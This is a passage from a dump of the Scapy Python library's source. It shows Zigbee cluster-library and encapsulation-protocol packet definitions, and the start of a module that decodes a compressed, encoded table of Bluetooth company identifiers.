  0x2c: 5,  # Signed 40-bit integer\n    0x2d: 6,  # Signed 48-bit integer\n    0x2e: 7,  # Signed 56-bit integer\n    0x2f: 8,  # Signed 64-bit integer\n    0x30: 1,  # 8-bit enumeration\n    0x31: 2,  # 16-bit enumeration\n    0x38: 2,  # Semi-precision\n    0x39: 4,  # Single precision\n    0x3a: 8,  # Double precision\n    0x41: (1, \"!B\"),  # Octet string\n    0x42: (1, \"!B\"),  # Character string\n    0x43: (2, \"!H\"),  # Long octet string\n    0x44: (2, \"!H\"),  # Long character string\n    # TODO (implement Ordered sequence & collection\n    0xe0: 4,  # Time of day\n    0xe1: 4,  # Date\n    0xe2: 4,  # UTCTime\n    0xe8: 2,  # Cluster ID\n    0xe9: 2,  # Attribute ID\n    0xea: 4,  # BACnet OID\n    0xf0: 8,  # IEEE address\n    0xf1: 16,  # 128-bit security key\n    0xff: 0,  # Unknown\n}\n\n\nclass _DiscreteString(StrLenField):\n    def getfield(self, pkt, s):\n        dtype = pkt.attribute_data_type\n        length = _ZCL_attr_length.get(dtype, None)\n        if length is None:\n            return b\"\", self.m2i(pkt, s)\n        elif isinstance(length, tuple):  # Variable length\n            size, fmt = length\n            # We add size as we include the length tag in the string\n            length = struct.unpack(fmt, s[:size])[0] + size\n        if isinstance(length, int):\n            self.length_from = lambda x: length\n            return StrLenField.getfield(self, pkt, s)\n        return s\n\n\nclass ZCLReadAttributeStatusRecord(Packet):\n    name = \"ZCL Read Attribute Status Record\"\n    fields_desc = [\n        # Attribute Identifier\n        XLEShortField(\"attribute_identifier\", 0),\n        # Status\n        ByteEnumField(\"status\", 0, _zcl_enumerated_status_values),\n        # Attribute data type (0/1 octet), and data (0/variable size)\n        # are only included if status == 0x00 (SUCCESS)\n        ConditionalField(\n            ByteEnumField(\"attribute_data_type\", 0, _zcl_attribute_data_types),\n            lambda pkt:pkt.status == 0x00\n        ),\n        ConditionalField(\n            _DiscreteString(\"attribute_value\", \"\"),\n            lambda pkt:pkt.status == 0x00\n        ),\n    ]\n\n    def extract_padding(self, s):\n        return \"\", s\n\n\nclass ZCLWriteAttributeRecord(Packet):\n    name = \"ZCL Write Attribute Record\"\n    fields_desc = [\n        # Attribute Identifier (2 octets)\n        XLEShortField(\"attribute_identifier\", 0),\n        # Attribute Data Type (1 octet)\n        ByteEnumField(\"attribute_data_type\", 0, _zcl_attribute_data_types),\n        # Attribute Data (variable)\n        _DiscreteString(\"attribute_data\", \"\"),\n    ]\n\n    def extract_padding(self, s):\n        return \"\", s\n\n\nclass ZCLWriteAttributeStatusRecord(Packet):\n    name = \"ZCL Write Attribute Status Record\"\n    fields_desc = [\n        # Status (1 octet)\n        ByteEnumField(\"status\", 0, _zcl_enumerated_status_values),\n        # Attribute Identifier (0/2 octets)\n        ConditionalField(\n            XLEShortField(\"attribute_identifier\", 0),\n            lambda pkt:pkt.status != 0x00\n        ),\n    ]\n\n    def extract_padding(self, s):\n        return \"\", s\n\n\nclass ZCLConfigureReportingRecord(Packet):\n    name = \"ZCL Configure Reporting Record\"\n    fields_desc = [\n        # Direction (1 octet)\n        ByteField(\"attribute_direction\", 0),\n        # Attribute Identifier (2 octets)\n        XLEShortField(\"attribute_identifier\", 0),\n        # Attribute Data Type (0/1 octet)\n        ConditionalField(\n            ByteEnumField(\"attribute_data_type\", 0, _zcl_attribute_data_types),\n            lambda pkt:pkt.attribute_direction == 0x00\n        ),\n        # Minimum Reporting Interval (0/2 octets)\n        ConditionalField(\n            XLEShortField(\"min_reporting_interval\", 0),\n            lambda pkt:pkt.attribute_direction == 0x00\n        ),\n        # Maximum Reporting Interval (0/2 octets)\n        ConditionalField(\n            XLEShortField(\"max_reporting_interval\", 0),\n            lambda pkt:pkt.attribute_direction == 0x00\n        ),\n        # Reportable Change (variable)\n        ConditionalField(\n            _DiscreteString(\"reportable_change\", \"\"),\n            lambda pkt:pkt.attribute_direction == 0x00\n        ),\n        # Timeout Period (0/2 octets)\n        ConditionalField(\n            XLEShortField(\"timeout_period\", 0),\n            lambda pkt:pkt.attribute_direction == 0x01\n        ),\n    ]\n\n    def extract_padding(self, s):\n        return \"\", s\n\n\nclass ZCLConfigureReportingResponseRecord(Packet):\n    name = \"ZCL Configure Reporting Response Record\"\n    fields_desc = [\n        # Status (1 octet)\n        ByteEnumField(\"status\", 0, _zcl_enumerated_status_values),\n        # Direction (0/1 octet)\n        ConditionalField(\n            ByteField(\"attribute_direction\", 0),\n            lambda pkt:pkt.status != 0x00\n        ),\n        # Attribute Identifier (0/2 octets)\n        ConditionalField(\n            XLEShortField(\"attribute_identifier\", 0),\n            lambda pkt:pkt.status != 0x00\n        ),\n    ]\n\n    def extract_padding(self, s):\n        return \"\", s\n\n\nclass ZCLAttributeReport(Packet):\n    name = \"ZCL Attribute Report\"\n    fields_desc = [\n        # Attribute Identifier (2 octets)\n        XLEShortField(\"attribute_identifier\", 0),\n        # Attribute Data Type (1 octet)\n        ByteEnumField(\"attribute_data_type\", 0, _zcl_attribute_data_types),\n        # Attribute Data (variable)\n        _DiscreteString(\"attribute_data\", \"\"),\n    ]\n\n    def extract_padding(self, s):\n        return \"\", s\n\n\nclass ZCLGeneralReadAttributes(Packet):\n    name = \"General Domain: Command Frame Payload: read_attributes\"\n    fields_desc = [\n        FieldListField(\"attribute_identifiers\", [], XLEShortField(\"\", 0x0000)),\n    ]\n\n\nclass ZCLGeneralReadAttributesResponse(Packet):\n    name = \"General Domain: Command Frame Payload: read_attributes_response\"\n    fields_desc = [\n        PacketListField(\"read_attribute_status_record\", [], ZCLReadAttributeStatusRecord),  # noqa: E501\n    ]\n\n\nclass ZCLGeneralWriteAttributes(Packet):\n    name = \"General Domain: Command Frame Payload: write_attributes\"\n    fields_desc = [\n        PacketListField(\"write_records\", [], ZCLWriteAttributeRecord),\n    ]\n\n\nclass ZCLGeneralWriteAttributesResponse(Packet):\n    name = \"General Domain: Command Frame Payload: write_attributes_response\"\n    fields_desc = [\n        PacketListField(\"status_records\", [], ZCLWriteAttributeStatusRecord),\n    ]\n\n\nclass ZCLGeneralConfigureReporting(Packet):\n    name = \"General Domain: Command Frame Payload: configure_reporting\"\n    fields_desc = [\n        PacketListField(\"config_records\", [], ZCLConfigureReportingRecord),\n    ]\n\n\nclass ZCLGeneralConfigureReportingResponse(Packet):\n    name = \"General Domain: Command Frame Payload: configure_reporting_response\"  # noqa: E501\n    fields_desc = [\n        PacketListField(\"status_records\", [], ZCLConfigureReportingResponseRecord),  # noqa: E501\n    ]\n\n\nclass ZCLGeneralReportAttributes(Packet):\n    name = \"General Domain: Command Frame Payload: report_attributes\"\n    fields_desc = [\n        PacketListField(\"attribute_reports\", [], ZCLAttributeReport),\n    ]\n\n\nclass ZCLGeneralDefaultResponse(Packet):\n    name = \"General Domain: Command Frame Payload: default_response\"\n    fields_desc = [\n        # Response Command Identifier (1 octet)\n        ByteField(\"response_command_identifier\", 0),\n        # Status (1 octet)\n        ByteEnumField(\"status\", 0, _zcl_enumerated_status_values),\n    ]\n\n\nclass ZCLIASZoneZoneEnrollResponse(Packet):\n    name = \"IAS Zone Cluster: Zone Enroll Response Command (Server: Received)\"\n    fields_desc = [\n        # Enroll Response Code (1 octet)\n        ByteEnumField(\"rsp_code\", 0, _zcl_ias_zone_enroll_response_codes),\n        # Zone ID (1 octet)\n        ByteField(\"zone_id\", 0),\n    ]\n\n\nclass ZCLIASZoneZoneStatusChangeNotification(Packet):\n    name = \"IAS Zone Cluster: Zone Status Change Notification Command (Server: Generated)\"  # noqa: E501\n    fields_desc = [\n        # Zone Status (2 octets)\n        StrFixedLenField(\"zone_status\", b'\\x00\\x00', length=2),\n        # Extended Status (1 octet)\n        StrFixedLenField(\"extended_status\", b'\\x00', length=1),\n        # Zone ID (1 octet)\n        ByteField(\"zone_id\", 0),\n        # Delay (2 octets)\n        XLEShortField(\"delay\", 0),\n    ]\n\n\nclass ZCLIASZoneZoneEnrollRequest(Packet):\n    name = \"IAS Zone Cluster: Zone Enroll Request Command (Server: Generated)\"\n    fields_desc = [\n        # Zone Type (2 octets)\n        EnumField(\"zone_type\", 0, _zcl_ias_zone_zone_types, fmt=\"<H\"),\n        # Manufacturer Code (2 octets)\n        XLEShortField(\"manuf_code\", 0),\n    ]\n\n\nclass ZCLMeteringGetProfile(Packet):\n    name = \"Metering Cluster: Get Profile Command (Server: Received)\"\n    fields_desc = [\n        # Interval Channel (8-bit Enumeration): 1 octet\n        ByteField(\"Interval_Channel\", 0),  # 0 == Consumption Delivered ; 1 == Consumption Received  # noqa: E501\n        # End Time (UTCTime): 4 octets\n        XLEIntField(\"End_Time\", 0x00000000),\n        # NumberOfPeriods (Unsigned 8-bit Integer): 1 octet\n        ByteField(\"NumberOfPeriods\", 1),  # Represents the number of intervals being requested.  # noqa: E501\n    ]\n\n\nclass ZCLPriceGetCurrentPrice(Packet):\n    name = \"Price Cluster: Get Current Price Command (Server: Received)\"\n    fields_desc = [\n        BitField(\"reserved\", 0, 7),\n        BitField(\"Requestor_Rx_On_When_Idle\", 0, 1),\n    ]\n\n\nclass ZCLPriceGetScheduledPrices(Packet):\n    name = \"Price Cluster: Get Scheduled Prices Command (Server: Received)\"\n    fields_desc = [\n        XLEIntField(\"start_time\", 0x00000000),  # UTCTime (4 octets)\n        ByteField(\"number_of_events\", 0),  # Number of Events (1 octet)\n    ]\n\n\nclass ZCLPricePublishPrice(Packet):\n    name = \"Price Cluster: Publish Price Command (Server: Generated)\"\n    fields_desc = [\n        XLEIntField(\"provider_id\", 0x00000000),  # Unsigned 32-bit Integer (4 octets)  # noqa: E501\n        # Rate Label is a UTF-8 encoded Octet String (0-12 octets). The first Octet indicates the length.  # noqa: E501\n        StrLenField(\"rate_label\", \"\", length_from=lambda pkt:int(pkt.rate_label[0])),  # TODO verify  # noqa: E501\n        XLEIntField(\"issuer_event_id\", 0x00000000),  # Unsigned 32-bit Integer (4 octets)  # noqa: E501\n        XLEIntField(\"current_time\", 0x00000000),  # UTCTime (4 octets)\n        ByteField(\"unit_of_measure\", 0),  # 8 bits enumeration (1 octet)\n        XLEShortField(\"currency\", 0x0000),  # Unsigned 16-bit Integer (2 octets)  # noqa: E501\n        ByteField(\"price_trailing_digit\", 0),  # 8-bit BitMap (1 octet)\n        ByteField(\"number_of_price_tiers\", 0),  # 8-bit BitMap (1 octet)\n        XLEIntField(\"start_time\", 0x00000000),  # UTCTime (4 octets)\n        XLEShortField(\"duration_in_minutes\", 0x0000),  # Unsigned 16-bit Integer (2 octets)  # noqa: E501\n        XLEIntField(\"price\", 0x00000000),  # Unsigned 32-bit Integer (4 octets)\n        ByteField(\"price_ratio\", 0),  # Unsigned 8-bit Integer (1 octet)\n        XLEIntField(\"generation_price\", 0x00000000),  # Unsigned 32-bit Integer (4 octets)  # noqa: E501\n        ByteField(\"generation_price_ratio\", 0),  # Unsigned 8-bit Integer (1 octet)  # noqa: E501\n        XLEIntField(\"alternate_cost_delivered\", 0x00000000),  # Unsigned 32-bit Integer (4 octets)  # noqa: E501\n        ByteField(\"alternate_cost_unit\", 0),  # 8-bit enumeration (1 octet)\n        ByteField(\"alternate_cost_trailing_digit\", 0),  # 8-bit BitMap (1 octet)  # noqa: E501\n        ByteField(\"number_of_block_thresholds\", 0),  # 8-bit BitMap (1 octet)\n        ByteField(\"price_control\", 0),  # 8-bit BitMap (1 octet)\n    ]\n\n\nclass ZigbeeClusterLibrary(Packet):\n    name = \"Zigbee Cluster Library (ZCL) Frame\"\n    deprecated_fields = {\n        \"direction\": (\"command_direction\", \"2.5.0\"),\n    }\n    fields_desc = [\n        # Frame control (8 bits)\n        BitField(\"reserved\", 0, 3),\n        BitField(\"disable_default_response\", 0, 1),  # 0 default response command will be returned  # noqa: E501\n        BitField(\"command_direction\", 0, 1),  # 0 command sent from client to server; 1 command sent from server to client  # noqa: E501\n        BitField(\"manufacturer_specific\", 0, 1),  # 0 manufacturer code shall not be included in the ZCL frame  # noqa: E501\n        # Frame Type\n        # 0b00 command acts across the entire profile\n        # 0b01 command is specific to a cluster\n        # 0b10 - 0b11 reserved\n        BitEnumField(\"zcl_frametype\", 0, 2, {0: 'profile-wide', 1: 'cluster-specific', 2: 'reserved2', 3: 'reserved3'}),  # noqa: E501\n        # Manufacturer code (0/16 bits) only present then manufacturer_specific field is set to 1  # noqa: E501\n        ConditionalField(XLEShortField(\"manufacturer_code\", 0x0),\n                         lambda pkt: pkt.getfieldval(\"manufacturer_specific\") == 1  # noqa: E501\n                         ),\n        # Transaction sequence number (8 bits)\n        ByteField(\"transaction_sequence\", 0),\n        # Command identifier (8 bits): the cluster command\n        ByteEnumField(\"command_identifier\", 0, _zcl_command_frames),\n    ]\n\n    def guess_payload_class(self, payload):\n        if self.zcl_frametype == 0x00:\n            # Profile-wide command\n            if (self.command_identifier in\n                    {0x00, 0x01, 0x02, 0x04, 0x06, 0x07, 0x0a, 0x0b}):\n                # done in bind_layers\n                pass\n        elif self.zcl_frametype == 0x01:\n            # Cluster-specific command\n            if self.underlayer.cluster == 0x0500:\n                # IAS Zone\n                if self.command_direction == 0:\n                    # Client-to-Server command\n                    if self.command_identifier == 0x00:\n                        return ZCLIASZoneZoneEnrollResponse\n                elif self.command_direction == 1:\n                    # Server-to-Client command\n                    if self.command_identifier == 0x00:\n                        return ZCLIASZoneZoneStatusChangeNotification\n                    elif self.command_identifier == 0x01:\n                        return ZCLIASZoneZoneEnrollRequest\n            elif self.underlayer.cluster == 0x0700:\n                # Price cluster\n                if self.command_direction == 0:\n                    # Client-to-Server command\n                    if self.command_identifier == 0x00:\n                        return ZCLPriceGetCurrentPrice\n                    elif self.command_identifier == 0x01:\n                        return ZCLPriceGetScheduledPrices\n                elif self.command_direction == 1:\n                    # Server-to-Client command\n                    if self.command_identifier == 0x00:\n                        return ZCLPricePublishPrice\n        return Packet.guess_payload_class(self, payload)\n\n\nbind_layers(ZigbeeClusterLibrary, ZCLGeneralReadAttributes,\n            zcl_frametype=0x00, command_identifier=0x00)\nbind_layers(ZigbeeClusterLibrary, ZCLGeneralReadAttributesResponse,\n            zcl_frametype=0x00, command_identifier=0x01)\nbind_layers(ZigbeeClusterLibrary, ZCLGeneralWriteAttributes,\n            zcl_frametype=0x00, command_identifier=0x02)\nbind_layers(ZigbeeClusterLibrary, ZCLGeneralWriteAttributesResponse,\n            zcl_frametype=0x00, command_identifier=0x04)\nbind_layers(ZigbeeClusterLibrary, ZCLGeneralConfigureReporting,\n            zcl_frametype=0x00, command_identifier=0x06)\nbind_layers(ZigbeeClusterLibrary, ZCLGeneralConfigureReportingResponse,\n            zcl_frametype=0x00, command_identifier=0x07)\nbind_layers(ZigbeeClusterLibrary, ZCLGeneralReportAttributes,\n            zcl_frametype=0x00, command_identifier=0x0a)\nbind_layers(ZigbeeClusterLibrary, ZCLGeneralDefaultResponse,\n            zcl_frametype=0x00, command_identifier=0x0b)\n\n\n# Zigbee Encapsulation Protocol\n\n\nclass ZEP2(Packet):\n    name = \"Zigbee Encapsulation Protocol (V2)\"\n    fields_desc = [\n        StrFixedLenField(\"preamble\", \"EX\", length=2),\n        ByteField(\"ver\", 0),\n        ByteField(\"type\", 0),\n        ByteField(\"channel\", 0),\n        ShortField(\"device\", 0),\n        ByteField(\"lqi_mode\", 1),\n        ByteField(\"lqi_val\", 0),\n        TimeStampField(\"timestamp\", 0),\n        IntField(\"seq\", 0),\n        BitField(\"res\", 0, 80),  # 10 bytes reserved field\n        ByteField(\"length\", 0),\n    ]\n\n    @classmethod\n    def dispatch_hook(cls, _pkt=b\"\", *args, **kargs):\n        if _pkt and len(_pkt) >= 4:\n            v = orb(_pkt[2])\n            if v == 1:\n                return ZEP1\n            elif v == 2:\n                return ZEP2\n        return cls\n\n    def guess_payload_class(self, payload):\n        if self.lqi_mode:\n            return Dot15d4\n        else:\n            return Dot15d4FCS\n\n\nclass ZEP1(ZEP2):\n    name = \"Zigbee Encapsulation Protocol (V1)\"\n    fields_desc = [\n        StrFixedLenField(\"preamble\", \"EX\", length=2),\n        ByteField(\"ver\", 0),\n        ByteField(\"channel\", 0),\n        ShortField(\"device\", 0),\n        ByteField(\"lqi_mode\", 0),\n        ByteField(\"lqi_val\", 0),\n        BitField(\"res\", 0, 56),  # 7 bytes reserved field\n        ByteField(\"len\", 0),\n    ]\n\n\n# Bindings #\n\n# TODO: find a way to chose between ZigbeeNWK and SixLoWPAN (cf. sixlowpan.py)\n# Currently: use conf.dot15d4_protocol value\n# bind_layers( Dot15d4Data, ZigbeeNWK)\n\nbind_layers(ZigbeeAppDataPayload, ZigbeeAppCommandPayload, frametype=1)\nbind_layers(Dot15d4Beacon, ZigBeeBeacon)\n\nbind_bottom_up(UDP, ZEP2, sport=17754)\nbind_bottom_up(UDP, ZEP2, sport=17754)\nbind_layers(UDP, ZEP2, sport=17754, dport=17754)\n"
  },
  {
    "path": "scapy/libs/__init__.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n\n\"\"\"\nLibrary bindings\n\"\"\"\n"
  },
  {
    "path": "scapy/libs/bluetoothids.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n\n\"\"\"\n# Bluetooth Core Company Identifiers\n#\n# This file was generated. Its canonical location is\n# https://bitbucket.org/bluetooth-SIG/public/src/main/assigned_numbers/company_identifiers/company_identifiers.yaml\n\"\"\"\n\n# To quote Python's get-pip:\n\n# Hi There!\n#\n# You may be wondering what this giant blob of binary data here is, you might\n# even be worried that we're up to something nefarious (good for you for being\n# paranoid!). This is a base85 encoding of a zip file, this zip file contains\n# a copy of the Bluetooth SID listing of all company identifiers.\n\n# This file is automatically generated using\n# scapy/tools/generate_bluetooth.py\n\nimport gzip\nimport json\nfrom base64 import b85decode\n\n\ndef _d(x: str) -> str:\n    return {\n        int(x): y\n        for x, y in json.loads(gzip.decompress(\n            b85decode(x.replace(\"\\n\", \"\"))\n        ).decode()).items()\n    }\n\n\nDATA = _d(\"\"\"\nABzY8*hqM20{@J?TX)+y(k}d0xaMMZvfkLQj+V3UD2bLB9jJ(s9cRrAEx{IA6shLHvGRRCepjIiBp})\n8Su@?~@FcPT6zZwNQ~%$;+PAlzfBj$QU-vSXY2u8sv^+X~vbp}(7Y9$a@uU~a!b@IcB19&W7iT&h@aY\nzwo_N!#w{(VCx!E5?o)==XOXS{hM|@QiuUci|cbYka^l*%llapU(*Qx%M243JEj?SGd96!$@5j)e>kk\n0nL;@MH0K1Fa;CVOWn^CFW^Wr43eNV6k9r+1524n$I9=|N<|8K?0UU$}pLuP^E0C86Bx$_Vb=Maj!9g\n)8PFO+?|W@YT~eeUT!ECtrV=7F&JijS@wapPZS9@)9187dXZhUA*G4{2Lz~ii6yw$+p}S@YSDw$mk%F\n&lk5S;RkasT(|?zS$Tu;JeUR}-wT~ji`C<2Lkwytmg#;ELO94mZ27nvgT9b|;g^O-H9~_-L`pi<2c0f\n{T8+va2K6Z|oKH#=zjtZ*S>1DSwHl(wG)|;3J#N&{{PbrtZ#i@4b7ygX6&3<Uk0#RS@HBS*jn8r>JQ;\n4(7<t<lVT&j?AFBpw5ykKg<zWzksH-V=qlV#b8aUy=_vQmH{9>F`BM|OH@*Dnf!tyAxFfEhqxg6lb_z\npDyaw1MK%v|$PB<^78&2d!D<#D5=?heO8=Pr{X*~TYllU~=)RniS!VannJO*1tdd``)7kqPfLDU6@&D\nrw$jBHu+v5Rc1;Nn#+U%<+d`3^{d`oQ6Uiod~`WC4V#?ccX>z6NNEMNzCapJfRSAEMG*j5imR-$)>BM\nxryYfFn?4@%pZF0Y8lM^iJpz{XY?dNQ=Ie~=j)XqXOT#f*zsbqhsBB70p|u^p=3FhMYP%B?An&Nyg_o\n_-=#dlvMHSK1X|^Az9hR!$o)*d?22E}32sf&SDN?rCl==SeF{sO<7dO!RYNlMgSj(W2I~b#c|PEC9W^\nZOeBcbm{@it@{>)!_yed0taHit-DG|;(bPYju)aa<i6x_qo$Rxa*uorKK#%S!#f5Jb`B6#qYfje>L-h\n(#>ojM5cHMI)pbgipL58=x7Yo+n1F0Zdv12ru{fX*~}%AHT+$!Dh;-HsZUAeK*AR8N|Y8jF$Vj6HX{8\nV}s%nN~97qNG1|7mKOe51lZ$TRq_Ai=}_>uDmljDFLsRpyif>z&_Vj0v?MfE_NGS?8bmu(rVw5L}Rf<\nar+6(6a2g)H&;cQw8zq)!RywutgS@-ElN^&=(9Pa+e)nc>DpT?gL|0S%b&GC+DeL{NOBQn&H`q4CBe3\nmpqq<h0eZ}O1tmp4T{&SIt8FTGX7G8@+4u0q7;W}xk{(Wanp=-*SSoFBdJ>sA(LYx3EhW}z=y+3auv+\n?qiwl%ELvQB8=z4q^Ea^e`{us8DU}vy;W5*5on3C$iUBFD7JN>CYpYRDK)Q9p-g64tE)DKqG@ADNb+2\n~i4ZBa99lxEoQStZ=>ot9e48E($?F5Xh|MY97I+<fGXV6FJB6E3IDdhRd0Wf;uesmB+Smgo<hzRWf|5\nT7<oT1vJLGLF+<xI|D(r=ZQP0ces|F8>1k#BV7#&O@5*bK_&0WO}49dxzpxZs3cnDb%D1>HqMi&dP@u\n9$q^htkoHaIT)hcN$dg3v`I=~<ha=(D!|Z4DseZJRADS9?sDk3K3HA;-Q7Aw#dT&cG?jSg0S^5SUd~F\nb@oAd8hbM_D@@z#kTY6Nz8R)|4khh{HO;~pZ?|VL*no5|to~US5iB}MIVNTF5*R{wRO0YB6nfZg|nM!\nEf(m5E(2}o*=vkTNAh;ALOmXD76zbudjZGopGDz`E<j*|>iur$YDVnog?<;|)7%0`#W#Y}F0p^h|{W}\n{;*yPxUb@=t56(YE&5e)=c}Xkotmki6+P$W%_Z64Y(2l^Sd(h-@dKEi4sfBA*!y4JF!Puyp6n>~3^jO\n|9NnCBp%#Wsu8y2F6NgSY2#%^}Z@`elH~~r96iL$K7=(a`}=NQ@!_933Dl8neS{<*pyB0tCH;~6&a}E\nh)q3fZTG$^(N4k42E}QrD_Q?o$J)&LUI^RAqosw+?X34ziTK{1KTe&QyIMIjZ|K{*aqlbbUh*kV?GIB\n@9*w+#;{q^{o5(t=#5*e40LBReqcD@3EESbjvQ3ZPtrGlPEl=Z7x3|``nR|f;yWNNLrgy6({!>AaaEF\nKlr|1&omMgQh){3TGWZbWYVlLj6;<cU?w_Q3~X6Yi@sQ2R&9nw-;DU7R?U<Y8Z!T9v$=ClD*xSpat0(\nov(>_%w6R9d)4xXuL&B6^AtLC7TfeDQ^3?79R04tAiKyM%@8^kMu!W5fOoI_ugV!ya1$Sq_sYhIfC?z\n$Vz%bBj>k7>qv0L!@^+)i!jG@ZBIw^Lz_yi4Q6%J-`fu`S)hL93i$4z+ha6EBG^xUY?@zpm&HK;j^K@\nQE@jZ3;>LTJ)C@@65<NR@foI(L&l6{c``z~5D?+F(V}{O&O4r3FbeV-YmZQyn@3<N4`FSkXY-P9+G-4\nV?6KMldW6%&OA2oQFy+g2tc6K%Y~e255vX)uU$3O-9iGH?3!<-$m`ctB!$OgvieF?Yf;e;A>=6_Lkdq\n5|!nf!cB^QdVN9YSJuRE|FhVIHWhLRB2&vFCvpeUr{zJc!IQ!O&_+##&4pe%5xoqh%&NME4D^Z+IstP\nNX&gud<~L_;TK*U@o8U+d&Kjq#fYU@OGJagQONR)Xq}2QfS}Ki3XmT!+e+5Xp-HCX^N|R+pP*k1!f+U\n!ut1MQcIVf+Q3cuDr)3p!+l{jHO9fY>WU+!Q9`5e$}{Z56VP}iyu}J9Kw8kL2m`vpvlW$QDSNtTccN4\nYqS3Wv(tPD^4`owXhPM)N3aR~B})Oo&iJ<XkWi0+R9`Bv4az1xqy>K0r-yRKc&&ODLRP`l56$hum^uW\njzWWm}9p>H-;{<K_B|^g}Ia_EZZ0!+x^5#=744nsm>EVCyDMC)aVzf!4C(r_swFwZ00+GIo_zk^jTN!\n=u(X^Vubio~`nrj4>++>@HUpegLZU#!k(0~M(7Eu!AYHKjWWddbmxCuFhn<#n8QYTpRQ8MVoRzBhEF_\n$l)rNJ&s!30&iPjyC#aG&l|I45KC4DIN9Snyv!$r!&*Tepm&M7~+SLXwKmrhel?N+dJ?{%mNqDkD5Jg\n1Pj&($a)<{4E+bV5Ha2Cxo+%WCH5|CT%qb&6glp<GzX_&DkibCk)}6dHN*sqTWYaY&pi_DU$^nNHZ9W\n7omI=?~XKqol$yBw`?$J-=uvRS><v30(-IB=YuT`d#{!eTDj7ho^r8A7^W}b)mehRX5C8Q21etT!0q!\n+BpdiSW04TB363IBJ_`6z86_KGiiS|lOk|rfJHa<*GJ*4vvz4#pFHWC9?UqUY3)I4;dMDtsk}o2gqL0\nRUv=Z#<bU5zN9Xy`Y)0;p}xLC^hYHdLH9zmMH*t>V9KEMH`D=g!IP>nL>wyD~OlNYqy!3=*X@W7cV7F\nTnWAdmkY)Wr`Iwi~~$WE}onUID^$);#wJ_P78nl`k3%lGxZM3FLeO$-d+zz6P2ITLVa5I^Xz(2m(Dz)\nJ(P52=CzLRK^jTH-vTWVb;CC+GhRLU>opQl!<WeWCrtBuX_SF<6u5=CipLaqBFqF19t^D63y<}!ks_b\nk|l&Q3;O<)JVJ(xtViIc7W*9j1OMVIc4?9R`(AEE`jKiP1T+=SDlK6ee$vMCXT$itys1IX@Xa2qWn2@\nr$ZrS}x!YG*j9{HBk7uzH&H_wI39pb8F`z(D^%B>`C-j`A1-b=_2n^rP)`Gkt<g^Nw*RF2~<c7eKH+T\nC}@4<7I#tW$NSfsG<(4O00Z_)#w>C%#ed6K}l8SCMO;E;bkyPmrJO4HmB>bdjogYfL<TjU8CnFDb{K&\nQeVqcq*7@at$rr|3-hqsQomfYA6P5<`jJ5Y(B8mq-o9n_<en^C-TDeAZF65^u&)B{EoHD`)84`vb85L\n9e@f^2U1gew2$c|HI1?$Qed*FKe>}T{n8GxFNJNE+wuxN19G=9fh*Snt;&M1(+}m1`|W91c64u#7Dql\n{6dp(wb;ZMmwJF1g<%9keVo5E@9f1HYUa~~eU{}BUNz!Fv~!Q$1uDECn1<$f6Wp0zudc_})_So%jPQ?\npkOvrk<JZ_lw^NY!Ma7T23&6|QQlRRP$OkZMF3n$U{hrMOf<@C5HX(B;E2Vlv=x3chfi>o42e5)hU|-\nj})C~ikxRBPQB%A|Sa<L4YnJ6eQSz*%~LOgTv3tlKcfO@DD?wQC50HM!AJlj4G_PN~<7@GNWA66S5B7\ntI{FEZYhFwgK5ZPGK-vVL)bJU@5hFWeK*-Z(@bhAYnBRY_Cy!R{PI2Nmu+DV3_+(&mU0K>8jI%(r73A\nx-yy$xPitkZ4-I<vX-w0kmysd*@|!@gjtk7VBZ?Jvu|*odxru<IP7f9suiMN3m2DL8rMaiWD*HKE1FM\nZgeCog}ur`Qinqc^NSSMzdzPDgrg?za=M<o&TKvQ=0iW6`V%K~=kBBL+{32jV>DysxO1>6XHMuZC*I2\nE`_;&e(;Rjx&^@q*Q`;eULr^OW*7M<du;OE+oMjA~TNd*%lKk48uUyzB`JfU#y1_WkjyCrO=7l-ojG-\nb(_46v2dw-Y?9GJ>sh{Rs0w6aja0X?pSsU9XnivLv7BK-6qbGVwl)y9t#c)EAz{on^5Aw?0zhbSw|=j\n+q~&{j`5A0tobFZo<3pTDv#jZK}tVKvl`P~r;i{Chjta6`}ta97AKptNwjL}VZ-wj_k1MhG#5ptg;J1\ne0Kwc?2U;z)QyYW*5PGJ^!a{G@dt^1M^J$0t28xjkZ@BO@}Azr?6+g%q8e^6=zi*fJ$D3qQbemSUmXQ\n*f>Fg6xl(7eDn0V_=U?WuQrD`=3SmJ)c}l@4Qhb-Js<9vzB6`y`|h*~3$hS75EX+dz1j&tKo{$afEFN\n=L-c0v6V+@Y;1$dtcu5e@n)_fTf|WQPdUN>M<sw)rE0L}t;N`)(`r&*Umrp_(*#q^X35I=bH``YLsM-\n!}m``F;`zme-f_?KG!`~YHFV84~V6crV=j>gYo#2m=fVmLGf3Oj62&CP`@_4N0xiNbQk}aZQvs;>|^o\nBs#T)Y*^J!G9~QJi@EEdY6h3(p%mGjC-?YW0N_9Iaf+a?glqC|>}h#(!AW1l$0RZe{NLl<^jKiptY?L\n$GZYI{WCaXx{@M;(UrZ1Rv`V{Aa$FT&4ahr~*GX1j_D$QNVvEq<@EI=gOO4p!b_!DNA0HwzedI)(6p(\nJ;6tnJim6Et*h>ByXSmgdwp+U7%NS7G#^bb@(ls6Dh@F8M?NK7n4#|*jyy?N_0yF10}UwjMomx*$1Ht\nK4Lv{@483GmKhw9fotd*NZU}Bw1EvfdSS^^Qq8F|`sR@a>Td<ur<~00*%UWNfWJ|d}&T{QLuoDd<)5!\nWD_u_`&n-}HyuFeAVF3fj(M`9EwVEaMi4XuflL@$2%OUR3bVZ1nL3($(IV8(|i-Z%B`VJ1(5(TKry74\n=tEuc@91wLL`1@7T`riL^Y`V0f_ElP}y@MO{K@YH_JJDoTNN!3d{Qq%TuL;^Hd|Ox<JI;9bIDckro&y\nD82VQ<t#VBN%GW;u8Lw7n0Kf{a|QVxhkCaUd*LSNNoXj&I%?sto^xqD^Sa(gt~;>yjP{|4bNOS<?}5b\nz67k&oij;~$9m3o3CJyEa!h4Xm?xB6Wr`UP^`_k=kQT0&-eNrsJrx`qoWByGvSFH~+Huq+NLHaPF%w{\n17Vl5WE<rS~xN%1X1b6oI8cxhW)=%jlq<w1#|CCt;|C)k8?}FuwhWUfUmM-Bm#39SOFGl`fmtfi$70k\nw(aD>zPW6R#+Q=~Ld=b53$ZvhT3tdPM(`$On@f@pw%x1c3Vvz;+LXyJRYlNdYr`15;qm~e)B5bjOs>Q\n6WI=$GR%FD(>rT*6*k5dXGx2H{|JiPX-Y+O_oF&s~